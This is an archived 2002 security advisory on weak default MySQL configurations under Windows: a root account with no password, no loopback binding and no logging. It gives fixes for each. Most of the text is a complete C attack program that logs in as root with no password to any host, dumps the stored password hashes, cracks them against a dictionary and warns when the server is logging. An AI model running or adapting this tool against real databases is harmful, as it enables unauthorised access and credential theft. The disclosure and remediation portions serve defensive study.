TUCoPS :: Windows :: win5643.htm

MySQL - Weak default config under Windows
20th Aug 2002 [SBWID-5643]
COMMAND

	
		Weak MySQL Default Configuration on Windows
	
	

SYSTEMS AFFECTED

	
		All Windows MySQL releases uptill now (20 August 2002) ?
	
	

PROBLEM

	
		Mike Bommarito g0thm0g_at_attbi_dot_com withe the help of  tiefer  found
		:
		

		1) NULL root Password:
		

		MySQL allows user management via  an  in-database  system  table  called
		'mysql.user'.  This  table  includes  fields  on  the  users'  username,
		password, and host. However, MySQL by default allows  root  login,  from
		localhost and any host, without password.  Some  users  are  unaware  of
		this. The problem is exascerbated by the fact that a  large  portion  of
		MySQL users learn MySQL through the PHP examples  on  www.php.net  which
		show the user and password argument of mysql_connect as optional.  Also,
		the MySQL  manual  page  (http://www.mysql.com/doc/en/Adding_users.html)
		on adding users never mentions removing  the  default  root/NULL  users,
		even though  it  shows  starting  the  client  with  user  root  and  no
		password. A quick method of rectifying this is:
		

			DELETE FROM mysql.user;

			GRANT ALL PRIVILEGES ON *.* TO user@localhost 

		        IDENTIFIED BY 'password' WITH GRANT OPTION;

		

		

		2) Non-loopback-bound server:
		

		The majority of MySQL's users run their  database  server  on  the  same
		host as their web server. However, in MySQL's  configuration  file,  the
		line 'bind-address=127.0.0.1' is commented out. A server  bound  to  the
		loopback interface would only be accessible on that host,  removing  the
		possibility of remote logins, which most users  do  not  need.  However,
		because this line is commented out, MySQL  will  be  accessible  to  any
		remote host. Combined with the default root/NULL login, this means  that
		anyone can remotely login as root, without a  password,  and  have  full
		rights to any database. To  enable  binding  to  the  loopback  adapter,
		uncomment the bind-address line in your my.ini.
		

		

		3) No logging:
		

		Logging is a necessary part of  any  secure  server  software.  However,
		MySQL does not log at all on Windows  by  default.  This  means  that  a
		MySQL administrator would not be able to determine if his  database  had
		been comprimised, or if an individual was attempting to  brute  force  a
		user/password account. Logging can be enabled by adding these  lines  to
		your my.ini:
		

			log-long-format

			log=/path/to/somewhere/log.txt

		

		

		In order to demonstrate the simplicity of such an attack, I've  included
		a program to connect to a host, login as root/NULL,  steal  the  hashes,
		and display them. The program takes about 5 seconds to execute,  and  if
		the host is vulnerable, will  show  the  hashes.  If  you  have  have  a
		dictionary word list, put it in the  same  directory  as  dictionary.txt
		and it'll try and find a match to one of the words.
		

		

		//mysqlfuck.c

		/*--||MySQLfuck||--*/

		/*Written by g0thm0g*/

		/*-----------------*/

		/*Earlier this summer (at least where I live), I had a

		  conversation with a friend.

		  It was one of those afternoons where you get an idea,

		  and it kinda sticks with you.

		  Anyway, our conversation involved a couple questions

		  about INSERT's into a MySQL

		  database. Eventually, I told him that I would do it

		  for him. I came over, sat down

		  on his computer, and accidentally typed his full IP

		  address in. TO my surprise, the

		  host still connected. Even worse, root login wasn't

		  passworded. I figured that he

		  had mysql bound to 127.0.0.1, and that no real remote

		  host could connect. However,

		  later that night after I had gone home, I got a phone

		  call from the friend asking me

		  to do it again. Already on the computer (go figure

		  d:), I pulled up bash and

		  typed in his IP. Right as I was about to ask him what

		  his password was, I noticed

		  that MySQL hadn't even bothered to authenticate me. I

		  "used mysql" and then SELECT'ed

		  user,password,host FROM user. To my horror, I recieved:

		

		      +------+----------+-----------+

		      | user | password | host      |

		      +------+----------+-----------+

		      | root |          | localhost |

		      | root |          | %         |

		      |      |          | localhost |

		      |      |          | %         |

		      +------+----------+-----------+

		

		 Not only was name-less login allowed, but root was

		 without password on localhost

		 and remote. Anyway, to make a long story short, I did

		 some research, and found that

		 default Windows MySQL configuration lacks logging or

		 authentication. I did some

		 network scanning, and I think I have around 400 hosts

		 with no root password. Anyway,

		 to automate checking this, I wrote this program up. It

		 tries to login as root/NULL,

		 then takes the values of the user password hashes and

		 tries to find a match to a

		 dictionary file called dictionary.txt.

		

		 I wrote up an advisory, which you'll probably see on

		 SecFoc soon.

		

		 If I had some cookies, I'd give them to:

		  -Tiefer and his relentless questioning and jokes about

		   my sister

		  -Club 21, especially for Hard Attack

		  -DJ Doboy, can't forget trancequility volume 19

		

		 (INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE" CLAUSE HERE)

		 (INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)

		

		Compile:

		  -MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2

		  -GCC= gcc -omysqlfuck mysqlfuck.c -lmySQL -O2

		

		  -Cheers

		  g0th

		*/

		

		

		#include <stdio.h>

		#ifdef WIN32

		#include <windows.h>

		#endif

		#include <mysql.h>

		

		/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?

		/*Crazy MySQL programmers and their short typedefs*/

		/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

		

		#ifndef ulong

		#define ulong unsigned long

		#endif

		

		#ifndef uint

		#define uint unsigned int

		#endif

		

		#ifndef uchar

		#define uchar unsigned char

		#endif

		

		/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?

		/*##--####--####--####--####--####--####--####--##*/

		/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

		

		/*--------------------------------------------------------------*/

		/*<<<<This section is ripped straight from the MySQL

		source.>>>>*/

		/*I have this all nice and optimized in assembly on my

		end, but*/

		/*writing cross-compiler inline is not too fun, and

		requring an*/

		/*assembler is kinda frustrating.*/

		/*--------------------------------------------------------------*/

		void hash_password(ulong *result, const char *password)

		{

		 register ulong nr=1345345333L, add=7, nr2=0x12345671L;

		 ulong tmp;

		 for (; *password ; password++)

		 {

		 if (*password == ' ' || *password == '\t')

		 continue;    /* skipp space in password */

		

		 tmp= (ulong) (uchar) *password;

		 nr^= (((nr & 63)+add)*tmp)+ (nr << 8);

		 nr2+=(nr2 << 8) ^ nr;

		 add+=tmp;

		 }

		

		 result[0]=nr & 2147483647; /* Don't use sign bit

		(str2int) */;

		 result[1]=nr2 & 2147483647;

		 return;

		}

		

		void make_scrambled_password(char *to,const char *password)

		{

		 ulong hash_res[2];

		 hash_password(hash_res,password);

		 sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);

		}

		/*--------------------------------------------------------------*/

		/*<<<<######################################################>>>>*/

		/*--------------------------------------------------------------*/

		

		

		/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/

		

		

		/*--------------------------------*/

		/*<<<user struct to store data>>>>*/

		/*--------------------------------*/

		typedef struct

		{

		  char *user;

		  char *password;

		} user;

		

		#define  MAX_USERS  16

		/*--------------------------------*/

		/*<<<<########################>>>>*/

		/*--------------------------------*/

		

		

		

		//main - for "coherency's" (yes, i mean laziness) sake,

		i've kept this a single function

		int

		  main

		  (

		  int argc,

		  char** argv

		  )

		  {

		

		  MYSQL * mysqlData;    //--|-

		  MYSQL_RES * mysqlResult;  //--|-MySQL Datatypes

		  MYSQL_ROW mysqlRow;    //--|-

		

		  char *spHost;    //--|

		  char *spUser="root";    //--|

		  char *spPassword=NULL;  //--|-Our connection data

		  int spPort=3306;    //--|

		  char *spServerVersion;  //--|

		

		  int usernum=0;    //--|

		  user *users[MAX_USERS];  //--|-User name/hash storage

		data

		

		  FILE *fin, *fout;    //--|

		  char *file_name;    //--|-File I/O data

		

		  char *line=(char *)malloc(64);  //--|

		  char *buff=(char *)malloc(64);  //--|-Miscellaneous

		buffers

		

		  int i=0;      //--|Counter

		

		

		  //Warn about not meeting minimal arguments

		  if (2>argc)

		  {

		    fprintf (stderr, "usage: mysqlfuck host [-p<port>]");

		    return -1;

		  }

		

		  //Copy the first argument into the host buffer

		  spHost=(char *)malloc(sizeof(argv[1]));

		  strcpy (spHost, argv[1]);

		

		  //Copy port if the user specified

		  if (argv[2])

		  {

		    if (argv[2][1]=='p')

		    {

		    ++argv[2];

		    ++argv[2];

		    spPort=atoi(argv[2]);

		    printf ("port: %i\n", spPort);

		    }

		  }

		

		  //Initialize MySQL data and connect with root/NULL

		

		  mysqlData = (MYSQL *)malloc(sizeof(MYSQL));

		

		  mysql_init (mysqlData);

		

		  if (! mysql_real_connect (mysqlData, spHost, spUser,

		spPassword, "mysql", spPort, NULL, 0) )

		  {

		    fprintf (stderr, "mysql_real_connect: %s\n",

		mysql_error (mysqlData));

		    return -1;

		  }

		

		  //If the server logs, inform the user!

		

		  printf ("server version: %s\n",

		mysql_get_server_info(mysqlData));

		

		  if (strstr (mysql_get_server_info (mysqlData), "log"))

		  {

		    printf ("Warning! Server is logging - Continue(*/n)?");

		    if (getchar()=='n')

		    {

		    mysql_close (mysqlData);

		    return -1;

		    }

		  }

		

		  //"Obtain" the hashes (notice i didn't use the word

		steal)

		

		  if ( mysql_query (mysqlData, "SELECT user,password

		FROM user") )

		  {

		    fprintf (stderr, "mysql_query: %s\n", mysql_error

		(mysqlData));

		    return -1;

		  }

		

		  //Store the result and process it

		

		  mysqlResult=mysql_store_result(mysqlData);

		  while (mysqlRow=mysql_fetch_row(mysqlResult))

		  {

		    if (strlen(mysqlRow[0])==0)

		    {

		    mysqlRow[0]="(NULL)";

		    }

		

		    if (strlen(mysqlRow[1])==0)

		    {

		    mysqlRow[1]="(NULL)";

		    }

		

		

		    users[usernum]=(user *)malloc(sizeof(user));

		    users[usernum]->user=(char

		*)malloc(strlen(mysqlRow[0])+1);

		    strcpy (users[usernum]->user, mysqlRow[0]);

		    users[usernum]->password=(char

		*)malloc(strlen(mysqlRow[1])+1);

		    strcpy (users[usernum]->password, mysqlRow[1]);

		    usernum++;

		  }

		

		  mysql_close (mysqlData);

		

		  //Setup putput file name string

		

		  file_name=(char *)malloc (sizeof(spHost)+4);

		  strcpy (file_name, spHost);

		  strcat (file_name, ".txt\0\0");

		  printf ("\n+----------------------------+\n");

		  printf ("<decrypting and dumping to %s>\n", file_name);

		  printf ("+----------------------------+\n");

		

		

		  fout=fopen (spHost, "w");

		

		  if (!fout)

		  {

		    fprintf (stderr, "Unable to open %s for password

		dumping\n", spHost);

		    return -1;

		  }

		

		

		  //Use a database to crack the hashes (optional)

		  fin=fopen ("dictionary.txt", "r");

		  if (!fin)

		  {

		    fprintf (stderr, "error opening dictionary.txt - no

		decryption will take place\n");

		

		    for (i=0;i<usernum;i++)

		    {

		    printf ("%s::%s\n", users[i]->user,

		users[i]->password);

		    }

		

		    return -1;

		  }

		

		  //Loop through the user array and crack/output hashes

		  for (i=0;i<usernum;i++)

		  {

		    if (users[i]->user)

		    {

		    if (users[i]->password)

		    {

		

		      while ( (fgets (line, 63, fin)))

		      {

		      line[strlen(line)-1]='\0';

		      make_scrambled_password (buff, line);

		      if (strcmp (buff, users[i]->password)==0)

		      {

		        users[i]->password=line;

		        break;

		      }

		      }

		

		      fclose (fin);

		

		      fprintf (fout, "%s::%s\n", users[i]->user,

		users[i]->password);

		      printf ("%s::%s\n", users[i]->user,

		users[i]->password);

		      fflush (fout);

		    }

		    }

		  }

		

		  //Always clean up after yourself!

		

		  fclose (fout);

		

		  if (buff)

		    free (buff);

		

		  if (line)

		    free (line);

		

		  if (spHost)

		    free (spHost);

		

		  if (users)

		    free (users);

		

		  if (file_name)

		    free (file_name);

		

		  if (mysqlData)

		    free (mysqlData);

		

		  }

		
	
	

SOLUTION

	
	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH